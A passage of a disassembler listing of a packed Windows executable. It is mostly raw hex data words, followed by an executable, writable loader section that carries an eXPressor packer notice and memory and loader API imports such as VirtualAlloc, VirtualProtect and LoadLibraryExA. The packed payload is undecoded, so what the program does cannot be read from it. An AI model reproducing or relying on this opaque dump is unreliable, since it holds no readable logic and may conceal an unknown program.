		dd 0C898F1FCh, 0DDBFE9C0h, 75FE87F1h, 3450ED45h, 64206759h
		dd 36BF78C3h, 63543532h, 96F5108Ah, 0DAB2242Fh,	0B653133h
		dd 0D04E79AFh, 0CB73F0CBh, 0DFEF61BEh, 3041F525h, 3EB568BAh
		dd 0A82BD1A0h, 952FE24Bh, 0F029E849h, 6D4A9990h, 44646C94h
		dd 0D6950E35h, 8BD1F6DDh, 14C8C87Ch, 0C1A40FEAh, 331CFC9Eh
		dd 547C694Dh, 0E4B8E2C7h, 17E549EAh, 20F87A91h,	3B27B0E4h
		dd 0B93663E8h, 75FAD053h, 2B9CC01Ah, 0ABDFC663h, 0DF994114h
		dd 52FB885Eh, 0E78425B7h, 0E41125EBh, 3B5244DAh, 0F4AB68D4h
		dd 54259BE1h, 15BCF869h, 0A6BE8188h, 5B713D9h, 0BBCB4465h
		dd 0B597FA53h, 740AEAADh, 0E76CACB8h, 5D1B8520h, 0B7739D50h
		dd 0BF875A81h, 0A4613F16h, 5B6D1758h, 0D31736CEh, 92716E09h
		dd 0CEE39A57h, 5E1BFC65h, 0CCCFBFA4h, 7F0E2604h, 0DF845989h
		dd 0B14431E3h, 0C91DC2C9h, 42013260h, 1FFB1530h, 683C003Ch
		dd 3346299Ah, 0AF34BCF1h, 0ED4556E4h, 0AF539BCAh, 39D8E1AAh
		dd 0D5C5310h, 0AFD868A1h, 0EDC12B46h, 9E0CE0DBh, 2AFBE708h
		dd 0B84E2F96h, 47612EF2h, 0B64494F4h, 61231DDCh, 0B7A9E42Bh
		dd 0CB3881D7h, 827B980Ah, 5933C5C8h, 0B7BED965h, 0CDD3103Ah
		dd 0CB978412h, 0F3A8306Ch, 43907E36h, 2A9F565Eh, 4956FF07h
		dd 11670B8h, 0FAD75B0Dh, 60490D48h, 6C8B87BDh, 9F0AE49Ah
		dd 0A0BE936Eh, 0EE389DA8h, 85FBC7EFh, 7E39AB71h, 1F88C811h
		dd 0E731C33Fh, 0DB6914Eh, 9F54BB8Fh, 0F7CE8F40h, 60DA12F2h
		dd 21527324h, 3E39E3C2h, 0CFBD34EDh, 52134694h,	594D0BEDh
		dd 18B2DF57h, 0B8AFF05Fh, 2C96A8F2h, 15E91289h,	262D1A15h
		dd 8E7D494Fh, 0AF5E9F3Eh, 0AC201786h, 0A82D46CAh, 8A1A5CEDh
		dd 8007663Ah, 0E08C864Dh, 0FB0A8A52h, 3A66F321h, 1F12C268h
		dd 99753F2Bh, 0C2F4AF2Ch, 2E014515h, 3C14541h, 0A3AB667h
		dd 0EC5587D2h, 4A4A573Eh, 0F793BFB2h, 0D5629D8Dh, 0EA265A4Eh
		dd 0C9A6125Dh, 54A47586h, 0D391E702h, 7077503Ah, 0FD55B46Fh
		dd 4498193Fh, 146D3E79h, 0CA2CB59Bh, 23155542h,	0BA6770B6h
		dd 9F128EBDh, 2E0DD9F9h, 9D2711ADh, 0ED30D059h,	0BA6AEBD8h
		dd 700B3B75h, 2F074EE4h, 26A780E2h, 96B0603Ah, 94220B2Fh
		dd 70ABD8FEh, 43C5093Fh, 29627A97h, 99EBD241h, 7C5EA9C3h
		dd 130C56E4h, 9B83D5F3h, 13FB7A83h, 0A9DD8ED0h,	86D7A56Ah
		dd 52CFE822h, 60294165h, 0BF6DFB81h, 47C8C2FCh,	2831255Eh
		dd 0F9AA3D47h, 0E84C17C1h, 5C739483h, 353CA27Fh, 0FB30DA2Eh
		dd 1D261095h, 40EA4921h, 8C770D60h, 7506C194h, 0E4C0205h
		dd 5F6514CEh, 0C3994DE2h, 8E3EE991h, 4FA1B4F2h,	0FE46764Ah
		dd 5047BA45h, 5AC66181h, 60F64D9Bh, 0F9E391AEh,	0EC656154h
		dd 0EDFB7FA8h, 1C19BB40h, 62C97AA0h, 212E4BEEh,	0C6A5F227h
		dd 3713D86Fh, 5EECFF10h, 1569821Dh, 64667ACEh, 352EA499h
		dd 0E95E72D3h, 924EBB26h, 46109AAh, 46629BF0h, 71773017h
		dd 0DDA6655h, 0D2225FFAh, 254BA5AFh, 0DC9A5A8Bh, 0E094DFEAh
		dd 3217A6D4h, 1028BC3Ch, 50957519h, 0ADB7122Fh,	2E6CFC7Bh
		dd 0D1DB92F0h, 8813901Eh, 5DC333A8h, 0C866F5B3h, 34A9A753h
		dd 250D1D99h, 5F9E6E79h, 8D74E4A3h, 0F8C0E6F3h,	60BB4290h
		dd 65C80259h, 0FEEA93C7h, 339680DEh, 176CCC03h,	41D0D27Ah
		dd 231F33Bh, 393CB31Eh,	501A0321h, 0BFF06412h, 2D5989BAh
		dd 0DCCA1E94h, 1C2FC48Dh, 7DA64A6Ah, 0E8732BDCh, 56AD541Bh
		dd 38361CBEh, 0D5A26779h
		dd 0DA5E8763h, 1C7DF3C0h, 9FB1AACFh, 0A26EA723h, 3C04EB8Eh
		dd 0C4865C92h, 0F6B6222Bh, 0E07EB439h, 448EB392h, 572E78h
		dd 3704440Bh, 0B2ECD748h, 9B68EE26h, 0D24297DAh, 9403483Eh
		dd 6E19439Ah, 9456FF75h, 0D076DA38h, 0BF440F57h, 6CBFF7Ah
		dd 0C820875Ah, 912E88DBh, 0B3BDA6A2h, 0E0B097F4h, 55406DFh
		dd 0F10DF551h, 401B00E6h, 0D6DADBD9h, 8ADEAC8Dh, 874AD359h
		dd 0A85A49FFh, 0CD09A2A4h, 0FB3FDF84h, 32C03235h, 0A1074861h
		dd 0C466BDA3h, 0ACB5977Ch, 0FB61C53Fh, 823145A6h, 0FD8C6DE9h
		dd 7769A4BDh, 0EC1D7BADh, 412AB8BBh, 96C92CB8h,	62123002h
		dd 0C7FB1BF6h, 0ACCCFC2Ch, 7E7C79A1h, 0A3947F97h, 3DFC675Fh
		dd 5F55A287h, 6035958Dh, 0C8D6C61h, 0AF21E3E9h,	788EEB94h
		dd 1B3D97ADh, 0D93A526h, 0A15AB2AFh, 0FC279CF5h, 72CA9853h
		dd 0E0FEA11h, 0EC518919h, 0E620726Ah, 5E03FED7h, 0B3F2D651h
		dd 344621A2h, 6D025E15h, 21A24234h, 0DF79C85Bh,	8B4F13Ch
		dd 7B7D9AA3h, 0EF1BFF79h, 0CE2B1D9Ah, 7C91F5EFh, 3E1670BCh
		dd 6579B1E2h, 0FBB07CE7h, 0DF84A091h, 600DDF8Ah, 0AB16BC32h
		dd 0D74B7FE1h, 32EEB169h, 215B65EFh, 0D74039Dh,	0F28F52DCh
		dd 51138B47h, 969F9DC8h, 959081F5h, 455B7468h, 6A7B962Ah
		dd 0DAD13E6Eh, 6CA94E67h, 5BF62751h, 0E95F9D8h,	0E65D5632h
		dd 2D6B0355h, 0B0A2D394h, 57A5FCA1h, 3FBDC17Dh,	22C73C5Ch
		dd 0A13A4DD8h, 2164B9CFh, 0DB5C9601h, 0EA2F5A52h, 3DBAA171h
		dd 621B17B6h, 78A5BCDDh, 1355B037h, 6C02D318h, 4060C171h
		dd 4253EC4Ah, 87C2E6E9h, 50616A94h, 0DDD0C644h,	960B9439h
		dd 51DD99EDh, 9A60D07Ch, 0EDB89520h, 986344E6h,	13F570Ah
		dd 0EB2F171Fh, 8CD49CCDh, 929B7A8Fh, 6DC4B113h,	676CD93Ah
		dd 0BE326BDEh, 0C05F8063h, 5D9D6E9h, 861CBF6Bh,	9E3D01F2h
		dd 0A97F800Ch, 3A409DAFh, 465318B2h, 465F5D9Ah,	540C9D4Ch
		dd 0DE942942h, 7B779D26h, 0A21C66D2h, 0EF7742C2h, 60A23DDFh
		dd 0A3B1A35Bh, 2A745F33h, 0FCC7FCA8h, 5F52495Ch, 0A2167913h
		dd 354673F7h, 2B07C7EEh, 11C4BF10h, 31A96D64h, 2CE64948h
		dd 76062785h, 89C28A1h,	256A0429h, 0C9E49E3Bh, 4C6DA59Ch
		dd 0D3E75AF4h, 9E94B08Bh, 0F2CF42E1h, 35D04748h, 0DC8EB9EBh
		dd 97311DF7h, 733FC632h, 0FBC6F03h, 0FCAE9929h,	3BA58304h
		dd 0E571C3FCh, 6DDAFCAEh, 24B4BF3Fh, 6761E5D5h,	36102AD9h
		dd 2ED80B37h, 7651B3B2h, 0C9AD6585h, 5B193F15h,	1346FDE4h
		dd 89187444h, 20590A6Eh, 53DCD52h, 0DD6B6569h, 0B7AD7092h
		dd 0A07C1394h, 69EC87DDh, 7867E5EBh, 35B1C1AFh,	409CA64Dh
		dd 0F7E0A8B9h, 8B89011Bh, 0C10BC43Fh, 0D9153AE7h, 0DF68600h
		dd 5E0F332Ah, 639FD0B1h, 0B5D0652Bh, 0AA44F220h, 9B91F970h
		dd 9C69E692h, 3E372C6Ch, 0CD47C445h, 3A1FC52Fh,	6B641A7h
		dd 0ED84B7C0h, 0A21F116Fh, 137E2502h, 0F1402DA1h, 0DFA45EECh
		dd 4F14A354h, 0B86834E4h, 9B759825h, 12442EF4h,	928781Eh
		dd 0E6007173h, 0B48C5DBDh, 5EFE9989h, 0A13CF304h, 0F90F35AFh
		dd 0D5BA90D0h, 59C32CACh, 8ED27176h, 38590548h,	14E8D3D7h
		dd 0EBE09C5Eh, 44471EFh, 0F6406EC1h, 0D0DC68D9h, 3E12D87Bh
		dd 0E41C406Eh, 4AC977EDh, 32FFE605h, 5C4DC309h,	515C98E6h
		dd 93BF3Bh, 655A60B9h, 685C696Ah, 9A7383C6h, 0F7676C48h
		dd 0B8C12309h, 5BC521D6h, 0E5248CC6h, 0ED93F079h, 8D21DAB2h
		dd 8C6BAD55h, 3A60F3Eh,	0E5F3DE1Bh, 321A96F0h, 0E002CAE5h
		dd 0D29BAC31h, 7A621F6Ah, 356028C2h, 38F80547h,	6FEC840Ch
		dd 4D209ED2h, 0FA40075Fh, 0D569F3D9h, 81958E1Ch, 0ACEA0CC6h
		dd 139757E4h, 811AE0A0h, 81C0D7DFh, 7B157A9h, 0E78B64DBh
		dd 9553CF5Ch, 5167EBD0h, 0D99AA607h, 5EECD32Bh,	46CC3DFCh
		dd 0F82E1B88h, 588087D9h, 68D5977Fh, 325B26B0h,	3F99A2C0h
		dd 0CA9CAD0h, 116EF666h, 8701AD28h, 9A1BFFF9h, 0A6F9F298h
		dd 4F1648CCh, 0AF330188h, 7ADEEBF0h, 0DA4D2FB8h, 24D645B4h
		dd 0F938952Ah, 3767352Ah, 6F9EC25Ch, 609D1188h,	73CE47DEh
		dd 0ED190D77h, 2966BE35h, 0EE23F4AFh, 9D02BD1h,	0D10F8463h
		dd 74C4010Eh, 59C0E4C1h, 0D5F17188h, 58C54E0Ch,	67E7057Ch
		dd 13C4EC41h, 507DF718h, 0FD76F7B3h, 8BAA3731h,	4331F315h
		dd 297D36AFh, 0A4653DDBh, 4B6C7F26h, 3251DE56h,	6F7C830Dh
		dd 0EE961C02h, 50450C35h, 8F3B5E38h, 30BEDD36h,	50D82AF6h
		dd 55438446h, 34F287CFh, 0CFBA96E9h, 232FFB5Ch,	0D210A212h
		dd 0F51DA815h, 3D161EB3h, 5371A807h, 0C71846E1h, 72590A5Fh
		dd 0ECB0BE30h, 7CAA191Eh, 976FD844h, 6B57D819h,	0A0831C38h
		dd 0D31FA806h, 7EF8B92Dh, 5E158BBEh, 0B2F831F0h, 0C9D8981h
		dd 277F9489h, 0A5C3D9DBh, 25D095Bh, 0B6ACBF31h,	61738868h
		dd 8762B1A2h, 915C0AC1h, 44301723h, 5A38A319h, 0E7278C49h
		dd 0DC48BDEDh, 4FA64724h, 0B322128Fh, 0D2B26AF7h, 0DB18A4E7h
		dd 0D16BCC23h, 49428D4Eh, 0DAF1E7B2h, 79D94C9Eh, 0F3EA721h
		dd 38F99B2Bh, 654513A5h, 95D6AC01h, 0EA427233h,	0C50405D1h
		dd 8871FE7h, 78DB94Fh, 70F318AEh, 0F33BF1F7h, 8D752675h
		dd 0C42A635Ah, 0E6380809h, 4D46C88h, 6FC57BA1h,	0E1E2B7F8h
		dd 274CF61Fh, 0F70EA22Ch, 7AE3E224h, 0ED4FC870h, 9E0BB8B4h
		dd 0FB608562h, 0F9A22DC8h, 0FD0B8E17h, 4B720C92h, 7C1E0A92h
		dd 824BEECAh, 51F54893h, 9689D733h, 0F146808Ah,	0D0FA57BDh
		dd 53E00C96h, 0BA70496Eh, 0C626CA0Bh, 0BB83A590h, 0A25955DBh
		dd 9B9C47E9h, 0D6162F85h, 0BAD84F39h, 31BB12A1h, 8CC2BD34h
		dd 7F696CDFh, 351F7B1Eh, 6C3F4209h, 0AD3DBFFh, 9782437h
		dd 0D1FA7A64h, 0BC9B7F8h, 84D034Ah, 3647A27h, 50003A24h
		dd 4EE38D3Dh, 60AB748Ah, 993EE365h, 0DFE67C52h,	51E83E5Dh
		dd 0B004EA69h, 92E92614h, 1E3FF65Dh, 1BBF6551h,	0B64183Dh
		dd 4E5E084Bh, 7A3ADB97h, 0BB8CBB69h, 0C2D87882h, 6CFAC0Bh
		dd 0DE7C3BB4h, 513C1438h, 38828D79h, 0FD34EF37h, 0F86920C8h
		dd 5C56B764h, 0C5398130h, 0CFBDF8EAh, 12AB521Eh, 0C198DF93h
		dd 8E6DD96Bh, 0D90975AFh, 457E540Ch, 3B7A9ADEh,	0BCE67D5Bh
		dd 0C14E4C5Fh, 0FE3A719Eh, 0EFBE7A30h, 0D5812890h, 834D6A95h
		dd 0CF6C7613h, 64417CBBh, 7B3EBA03h, 0CB98AC2Ch, 9231D4EAh
		dd 15B05A3Eh, 465C209Bh, 482D7194h, 4728B108h, 6D3C89A2h
		dd 0D941147Ah, 5177D625h, 12F1E50h, 0EE52A620h,	0E702ED64h
		dd 473B954Eh, 3A3212A2h, 0AFD9CFD8h, 870FF1B9h,	0A6137D8Fh
		dd 0C879655Fh, 0B4DE61D3h, 6F68DA8Bh, 3A506F1Eh, 7FF09DC7h
		dd 3DC39FC4h, 0F60EAF8Ah, 0EC2403C1h, 0F75BE0F0h, 50A6F62Ch
		dd 0A11CD832h, 0FA5C19ABh, 9FBE7BB9h, 9ABDDA43h, 2BC27B13h
		dd 0CF0D5A8Dh, 87CCDB82h, 0D9615AA4h, 2BC65E7Bh, 32FDB79Bh
		dd 0F7ED9CEAh, 0D9EC8857h, 6080FC4Eh, 0E96511DCh, 0D35D32ACh
		dd 382F6077h, 7295DCEFh, 1B72C9F3h, 6AA6688Bh, 0A218F18Ah
		dd 88EDA62Ah, 4C08E3DFh, 430314EFh, 6E4C07FDh, 61B58B99h
		dd 0D77628EAh, 77D02344h, 0C3F551D7h, 959324B6h, 0C28AF419h
		dd 0A5C6042Dh, 386D2492h, 298EC5D8h, 0F35549Eh,	0D67CA12Ch
		dd 825369C0h, 8DDFF4D3h, 0E8B6E1Dh, 0A1C3EB85h,	3350D1E5h
		dd 0EAE4F369h, 99B2D8D2h, 26571291h, 0B6415C18h, 76F9102Ch
		dd 7B316039h, 0CB2B5D15h
		dd 32545521h, 6F082F05h, 0AF217DE8h, 6FEEA5ABh,	0F86D3E03h
		dd 536AC627h, 6DB6CDFAh, 0B7E9D1C4h, 37FB85AEh,	1047B2E8h
		dd 0B44E67F5h, 49B1A1Ch, 57E3B5E7h, 0B0C7E3FBh,	0A08FABE3h
		dd 1367705Fh, 94D1C1Fh,	6B25FED7h, 0AEE912DAh, 0FBF966FAh
		dd 1FCB1F92h, 94F4D079h, 32B8327Ah, 5078316Ah, 0A11C6716h
		dd 23554AFh, 8938D266h,	0A5A6898Bh, 1F245ECBh, 628C3D84h
		dd 1536688Ch, 1254D9DDh, 0E06C9D20h, 0A659CF22h, 2BD58A82h
		dd 0D5ECDB6h, 0F84751E4h, 526515CEh, 79836125h,	0EC65EEBCh
		dd 7224BF85h, 0F3DA54E1h, 0B56B3ED2h, 664E64A7h, 0DD62B83Dh
		dd 0C85E3562h, 845129D6h, 1AE5FDA7h, 4D467C08h,	6B11723Eh
		dd 1838DC38h, 0C04B414Bh, 23DF0D9Ch, 7F5695DEh,	62EEF5BEh
		dd 820706B7h, 2B7366F9h, 15F45EF3h, 3E2128ACh, 0AA894DC2h
		dd 0F49BC896h, 77ED0684h, 0CC5B4854h, 59B76F77h, 0FA782D4Dh
		dd 312D76D3h, 0CDB77A47h, 0B7AE843Dh, 0B0F53A7Fh, 0E60FC947h
		dd 1456E4F5h, 0D49EF9h,	0F15B6173h, 6835A6AAh, 0CE8431BEh
		dd 0C239131Ah, 0ACABA0Eh, 0B61143E3h, 23856B1Fh, 44B59A70h
		dd 0A58A801Ch, 37FC796h, 0D344577h, 56E97009h, 0EE4D359Fh
		dd 2BE875Dh, 0F3B61DB1h, 5F6A72EBh, 0C9D96BFFh,	8CA9FBDCh
		dd 0C9C791C9h, 0FB20F2B2h, 798C81B2h, 7B32886Eh, 52589876h
		dd 0EF1BE23Ah, 0E50E79A7h, 0C30774D7h, 0DB4B1523h, 85B8D2Bh
		dd 0BE43E9C3h, 3A742233h, 481E88AEh, 353B4A47h,	0AD1D50E8h
		dd 69734C23h, 69DDB977h, 5FA0F6A4h, 2FE9B658h, 4143753Dh
		dd 0E3FCD2E7h, 9D5C228h, 0F57F9FCh, 0A772C162h,	15BF632Fh
		dd 21516CACh, 8A71F1A5h, 27CE839Dh, 57D91EE3h, 0C7E996EEh
		dd 0BB6E2B92h, 75B017FEh, 37B6364Fh, 0B98CFC6Bh, 8A69F33Fh
		dd 62EEB8AFh, 67FB3CEDh, 537D5373h, 6E910D68h, 4EF39474h
		dd 38EB67BDh, 8988FACh,	896B9C36h, 0C066A796h, 0CE8EBA95h
		dd 98AD193Dh, 52194D8Eh, 0EDAF5CBAh, 77CCAC71h,	0FDA184B4h
		dd 7D5E9C6Dh, 0A8692391h, 0C2CF114Bh, 95B1E73Ah, 29578FE2h
		dd 39BDD48Dh, 0EC16FC1Ch, 293AE206h, 4E654C53h,	0F6001AD3h
		dd 3CA81677h, 0B1DAEFB8h, 64C24B1Dh, 0F7C95929h, 91B994C6h
		dd 4C7ECFF9h, 30C7F3F4h, 9E727C36h, 8C488B17h, 0DB38C674h
		dd 0A6386CDFh, 70DDA9A0h, 2539BE97h, 0FC3D9FA3h, 3AA2727Eh
		dd 27C14934h, 0DFABF162h, 72740761h, 178935EAh,	0E92E22DBh
		dd 6366C3DBh, 3310E419h, 17223936h, 2E47DC79h, 2F7A14EAh
		dd 4A5B1F3Fh, 50E9576Bh, 7DE7BEE7h, 0AD37419Ah,	0A27E58FBh
		dd 0B9CF95A2h, 0FFC01980h, 0B536ECA7h, 1500295Ah, 0AB148B6Eh
		dd 7099D3EAh, 2C0219h, 0D9859B13h, 33944F72h, 0FAEB6570h
		dd 0E6AED4B3h, 0EFD329CDh, 896CD9EDh, 0D14AC8FCh, 915FFD05h
		dd 60C37288h, 8CF8C54h,	5C3019C3h, 47CEB1EFh, 683EF903h
		dd 705030DFh, 530AAEBEh, 90F0DC9Ch, 0E39B7256h,	4A7D54FBh
		dd 0F416D4B4h, 172B5Eh,	8A448B16h, 12B70101h, 70BAF5Fh
		dd 1D5A1134h, 7D8C29DCh, 0FE889A9Ah, 0AB8B8645h, 0E5AC385Ch
		dd 0A0B493C5h, 0E53CAA91h, 7FA2FE1h, 11BF3DB1h,	1BF99731h
		dd 0D5E5D051h, 0CCEBCBD1h, 67D64DF7h, 3D342719h, 7CC90343h
		dd 0D275F2DEh, 0C7069AEBh, 30EB9F18h, 2A128734h, 0AD9CB799h
		dd 0C0601DBEh, 0D7327548h, 1764F217h, 7F854EFBh, 224C115Dh
		dd 0CC1F22E6h, 495FDFh,	0EA2BD4EEh, 9F59162Bh, 0E571D967h
		dd 804401Ch, 31C23347h,	6D3EE7D8h, 41645219h, 0F082501Ah
		dd 400FAADFh, 449A8DAFh, 5E163FDCh, 0C0AF39AFh,	0CA2DB61Dh
		dd 0BE0F3D60h, 0DE73F92Fh, 76788FC1h, 0C6129250h, 30853451h
		dd 118890Ch, 3B7D24D8h,	2C486EDDh, 0F0AAFAAh, 229A535h
		dd 7D63D108h, 0B04CEA46h, 0AD966751h, 8AC61426h, 6CA759B1h
		dd 172F51E4h, 885425D8h, 8CFE43EFh, 397DF494h, 0F77F2D99h
		dd 2BE0D2CEh, 0D38E6667h, 0AC77714Bh, 86AD23E4h, 0CF8A1571h
		dd 28184716h, 9643B368h, 40A8C270h, 541B627h, 10BE88E3h
		dd 0F2655F60h, 6968D8D7h, 0D93786C1h, 49AFAA8Bh, 9789794Fh
		dd 0DC461E10h, 599CAF1Fh, 2D4BE151h, 0C0BB8297h, 0AF20AEDh
		dd 0EEB5F89Ch, 80F38779h, 1C3D2894h, 3A59F192h,	7C66CF3Eh
		dd 0D83821A0h, 0EB9399C6h, 0EC0781E4h, 0FA38A423h, 263F68CCh
		dd 270B464Ah, 0C4E83022h, 0C4DB60A4h, 36ACD1F4h, 0B8A6C8E0h
		dd 0D2DCE197h, 88ADD21h, 8D2A7AD8h, 47CE87D2h, 4FA5110Dh
		dd 0C9685EB7h, 0AD625BA6h, 7E1FD005h, 0CEC9BF55h, 76B69725h
		dd 373A6F6Fh, 4CEE0956h, 0CEB79371h, 2D0C945Bh,	0DAAD03CCh
		dd 0CF913D89h, 0D9A2B909h, 967890B4h, 0E8DD1BFFh, 0DB594BFAh
		dd 0BA0F98E3h, 31233B0h, 0E3EC63A2h, 0F37738AEh, 0D158B479h
		dd 4D97CAEAh, 20F177EEh, 4629B27Ch, 222FD1DFh, 9C2144D4h
		dd 1AB80FE9h, 0EDDB05C0h, 0CDC66BB3h, 816860C8h, 36276140h
		dd 6FAF4713h, 0A64BF833h, 9FF53DDDh, 59AA1B9Dh,	901F9802h
		dd 0CFA62B19h, 6064C3D6h, 71000377h, 0A2A10FB4h, 2E14E98Bh
		dd 0E92A954Eh, 0E84B1468h, 728C0C73h, 46270367h, 87905070h
		dd 9479310Dh, 922ED44Bh, 1D51FAB4h, 5F92A681h, 0D4B4464Eh
		dd 202488CBh, 541C0CEEh, 0D1EDF5A7h, 2B92EC59h,	0CE9824FFh
		dd 9F8C1A5Dh, 0B1DAB495h, 98A79F21h, 0B4F19CBDh, 5F7D6EF5h
		dd 8BBEABD4h, 0A87192CAh, 805D383Dh, 0AAE73F7Fh, 56A6F5A9h
		dd 0CB333715h, 1235A0AEh, 0C741BBB1h, 0A5388C11h, 43B9DAA8h
		dd 6C6915A5h, 1705E413h, 1F641489h, 18040C84h, 22A7747Ch
		dd 0BA1F5160h, 762BECF0h, 877677C9h, 0DBE527D7h, 2B704507h
		dd 0DF81EB3Bh, 46C09D12h, 6BE5AFE8h, 3562868Ah,	0C1284EE6h
		dd 0E8637AFEh, 2E18ACB5h, 938F0D12h, 3A2D7F8Bh,	487ACDA5h
		dd 0EF0C8E0Fh, 0A065BAF4h, 51998831h, 4F45F126h, 9D0C792Bh
		dd 1CEC2E12h, 573BA309h, 25C12Fh, 49BDCF07h, 0FB291C5Fh
		dd 0AFC4106Dh, 5B004429h, 6C277D02h, 0DD3826A3h, 7D3FD646h
		dd 26E61CA4h, 1FF03A23h, 1DFE70Dh, 6FC36EC0h, 0EF00DE4Eh
		dd 0F1D0F0DEh, 721F14A4h, 26561682h, 6E0C2877h,	230EBA80h
		dd 66DF110Eh, 300706A0h, 8C3C35Fh, 6F8647F0h, 60AB4A9Dh
		dd 0F1C8C60Eh, 0EE623B08h, 1BDD20E2h, 9895F9BDh, 0BA70E5C8h
		dd 0F77D9BFAh, 0BD744255h, 9D45D599h, 0F5D3F771h, 75F7286Ah
		dd 0A5648996h, 6D220921h, 0ACB3C02Fh, 0FCE7628Ah, 0FE51A61Fh
		dd 4D44D9D8h, 3185E8FAh, 785195A3h, 546518FDh, 308BC5DAh
		dd 0C782184Eh, 7D800451h, 0CFAD7B3Eh, 0A3DCFDB4h, 0F9D04270h
		dd 0B754F5C2h, 0C73CFE24h, 9E742E0Dh, 2C0B1C99h, 2102C7CBh
		dd 0EBDB2577h, 9936AAFFh, 73AA0D73h, 7CACADBDh,	3D516682h
		dd 0FC31E00Bh, 0B4E34D53h, 5EA6D741h, 588D4745h, 0C2A40A35h
		dd 0A8F78984h, 0E16766F6h, 756A797h, 88E8E953h,	0CBB60CC1h
		dd 0E42FAD31h, 87B05EA1h, 0A232F036h, 0C1C8C7C3h, 20CD0AE2h
		dd 278C6B97h, 0D705F238h, 1B23119Bh, 0E5FBCFD4h, 0B5B9C142h
		dd 0D4B473A4h, 0C99CACB2h, 0D022AFAAh, 0D5B0F1ABh, 0AD600CD9h
		dd 857E0EB1h, 398582BDh, 4D4A94BBh, 4D28ABF9h, 20D11FB6h
		dd 0FD0C3400h, 0A46715D4h, 48BD1785h, 0C8A394CFh, 8CC55F2Eh
		dd 0E7F2C96Fh, 775EF3A3h, 3C727108h, 9C2BB233h,	0BFCB6466h
		dd 1B8CCA0Bh, 124C3CD8h, 64B0F4EEh, 0D1C084Ah, 370F8840h
		dd 9E2847EFh, 0A666FE0h
		dd 51A8169Eh, 0D3300C30h, 0D9AB47F1h, 3A95FF5Bh, 5E6132h
		dd 8000h, 193C8013h, 6E537C5Ah,	0F2D9F54Bh, 0F6BB492h
		dd 0E3F9662Eh, 0FFFF0D6Ah, 9048FCh
_pdata		ends

; Section 3. (virtual address 000A3000)
; Virtual size			: 000012D3 (   4819.)
; Section size in file		: 000012D3 (   4819.)
; Offset to raw	data for section: 000A3000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_ex_cod		segment	para public 'CODE' use32
		assume cs:_ex_cod
		;org 4A3000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_4A3000	dd 1200h		; DATA XREF: start+6Br	start+70o
off_4A3004	dd offset dword_4A4200	; DATA XREF: sub_4A341Dr start+75w ...
dword_4A3008	dd 400000h		; DATA XREF: start+9Ew	start+131r ...
dword_4A300C	dd 1			; DATA XREF: start:loc_4A347Fr
					; start:loc_4A348Dw
dword_4A3010	dd 0			; DATA XREF: start:loc_4A3A0Er
					; start+5F2r ...
dword_4A3014	dd 0			; DATA XREF: start+2Bw	start+45r
dword_4A3018	dd 0			; DATA XREF: start+3Cr
off_4A301C	dd offset sub_4198E4	; DATA XREF: start+5DCw
					; start:loc_4A3A2Ar
		dd 0
aThisApplicatio	db 'This application was packed with an Unregistered version of eXPre'
					; DATA XREF: start+8Co
		db 'ssor.',0Ah
		db 'For registration, please visit www.cgsoftlabs.ro',0
aInfo		db 'Info',0             ; DATA XREF: start+87o
		align 4
aR0		db 'à0',0Ah,0
		align 10h
a1_1		db 'Ä1',0Ah,0
		dd 0A310Ch, 0A3104h, 2 dup(0)
		dd 0A31E0h, 0A3130h, 5 dup(0)
		dd 0A3138h, 0A3146h, 0A3156h, 0A3164h, 0A3176h,	0A3188h
		dd 0A319Ch, 0A31AEh, 0
		dd 0A31D2h, 0
dword_4A310C	dd 77E79E34h		; DATA XREF: sub_4A3344+ADr start+287r ...
dword_4A3110	dd 77E7980Ah		; DATA XREF: sub_4A3344+65r start+171r
dword_4A3114	dd 77E75CB5h		; DATA XREF: start+63Br
dword_4A3118	dd 77E7A5FDh		; DATA XREF: start+527r start+558r
dword_4A311C	dd 77E805B8h		; DATA XREF: start+43Br start+48Dr
dword_4A3120	dd 77E79F93h		; DATA XREF: start+41Cr
dword_4A3124	dd 77E6169Ah		; DATA XREF: start+3FBr start+583r
dword_4A3128	dd 77E7A099h		; DATA XREF: start+B2r
		align 10h
dword_4A3130	dd 77D6ADD7h		; DATA XREF: start+93r
		align 8
		dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h
		dd 416C6175h, 636F6C6Ch, 0AF0000h, 74697845h, 636F7250h
		dd 737365h, 65470198h, 6F725074h, 64644163h, 73736572h
		dd 2490000h, 64616F4Ch,	7262694Ch, 45797261h, 4178h, 65470177h
		dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6956037Bh, 61757472h
		dd 6F72506Ch, 74636574h, 1750000h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
aKernel32_dll_1	db 'KERNEL32.dll',0
		align 2
		dw 1DEh
aMessageboxa_0	db 'MessageBoxA',0
aUser32_dll_0	db 'USER32.dll',0
		align 4
		unicode	0, <^>
		dw 8000h
		dd 19270000h, 0C802E089h, 0BE839EF3h, 41B6B11Bh, 56237822h
		dd 71BA0D54h, 68772094h, 0FC301F0Eh, 917A159Eh,	7F0F3FE0h
		dd 0DD5304FDh, 88809B8h, 949180h, 90EDFBh, 0C26387D0h
		dd 5DAEBB6Dh, 1EA6E26h,	98CBC360h, 7E1B00A6h, 0AD00C202h
		dd 3C6ED329h, 7164EE3Bh, 648D24B5h, 0DDABF315h,	864D550h
		dd 3C59DBABh, 93384D8Ch, 0E4A91608h, 0F430AF39h, 5E10B65Fh
		dd 520B311Dh, 1E0A8B41h, 0CF7F9D1Eh, 0C20320CDh, 0E0B676D7h
		dd 0CF42C5E6h, 0B1DCB20h, 282B4A22h, 6830219Bh,	0AE1D8589h
		dd 423D3D40h, 7373B247h, 62A7C512h, 0AB4EEBB8h,	67207267h
		dd 268BC87Ah, 911D60FAh, 6F1FC03Eh, 0AE9D4971h,	0C5FB263Ah
		dd 0AD895839h, 0E65072Bh, 2BC19F2Ah, 5F038A70h,	8EB4B4B3h
		dd 76673D66h, 0A1907467h, 0D1E243C2h, 5B2AE100h, 0A7F30706h
		dd 39DB0F21h, 7B5337AEh, 5D640617h, 99C859FBh, 0E455FDABh
		dd 0D6A78184h, 0C19AC2D3h, 8B7FAEFBh, 0F911A38Dh, 3924DAD6h
		dd 0A2DBD38Dh, 395EFC01h, 6A0E3143h, 28E7B155h,	0FAACA3D8h
		dd 0A4E00E18h, 0CDEB94B5h, 4E0824E2h, 5401A664h, 2D59257Fh
		dd 4157BD1h, 5DE20A8Eh,	483BBDA5h, 0FFBC7CE5h, 125B38h

